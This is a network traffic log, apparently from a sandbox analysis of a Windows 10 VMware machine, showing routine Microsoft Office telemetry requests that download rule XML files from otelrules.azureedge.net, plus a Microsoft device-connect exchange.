2024-12-07 21:40:36 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-07 21:40:36 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 39 50 71 36 33 4e 50 4a 54 6b 2b 6c 35 7a 63 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 37 62 33 37 31 34 32 39 39 36 66 37 31 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 57 32 44 68 6f 47 6b 59 77 72 38 64 69 4b 58 77 48 48 44 30 32 62 63 6a 78 47 39 4b 48 68 56 47 71 38 55 61 73 44 36 6c 49 68 6b 43 53 5a 7a 32 62 52 4d 7a 79 49 38 43 4c 66 37 73 4a 53 51 73 46 58 33 51 6c 6c 4d 46 34 2b 7a 49 37 39 6b 35 74 56 38 78 4a 66 59 69 72 41 68 4d 70 49 72 55 2f 69 76 55 63 4f 56 65 4f 66 7a 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 9Pq63NPJTk+l5zc1.2Context: 9d7b37142996f719<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaW2DhoGkYwr8diKXwHHD02bcjxG9KHhVGq8UasD6lIhkCSZz2bRMzyI8CLf7sJSQsFX3QllMF4+zI79k5tV8xJfYirAhMpIrU/ivUcOVeOfzB
2024-12-07 21:40:36 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 39 50 71 36 33 4e 50 4a 54 6b 2b 6c 35 7a 63 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 37 62 33 37 31 34 32 39 39 36 66 37 31 39 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 9Pq63NPJTk+l5zc1.3Context: 9d7b37142996f719
2024-12-07 21:40:37 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-07 21:40:37 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 48 4f 63 52 52 32 75 4a 36 45 75 49 71 6d 2b 68 39 66 4f 50 56 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: HOcRR2uJ6EuIqm+h9fOPVQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:36 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2968f52d-d01e-002b-1502-4825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214037Z-r1cf579d7789trgthC1EWRkkfc00000004200000000099kf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:38 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:38 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 072142d6-401e-0029-0802-489b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214038Z-r1cf579d7786c2tshC1EWRr1gc000000035g0000000030r5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:38 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:38 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:38 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 836d2ba0-b01e-0070-7302-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214038Z-r1cf579d778t6txphC1EWRsd4400000003x0000000007sa3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:38 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:38 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:38 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: eee9af6d-a01e-001e-1905-4849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214038Z-r1cf579d778x776bhC1EWRdk8000000003h00000000032gz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:38 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:38 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 32c7c32d-b01e-003e-2b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214038Z-r1cf579d7789trgthC1EWRkkfc000000046g000000003m82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:39 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7b814a2b-101e-0017-4003-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214039Z-r1cf579d778dndrdhC1EWR4b240000000310000000008713 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:40 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 45682ef5-801e-0048-7703-48f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214040Z-r1cf579d7789trgthC1EWRkkfc000000045g000000003x97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:40 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:40 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: a7f5343d-701e-001e-5304-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214040Z-r1cf579d778t5c2lhC1EWRce3w0000000430000000006zpg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:40 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7407b41f-701e-0098-7b04-48395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214040Z-r1cf579d778xr2r4hC1EWRqvfs00000003e0000000007uyq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:40 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49c2372f-d01e-0065-7b09-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214040Z-r1cf579d7782ctslhC1EWRfbrw000000042g000000000df0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:41 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
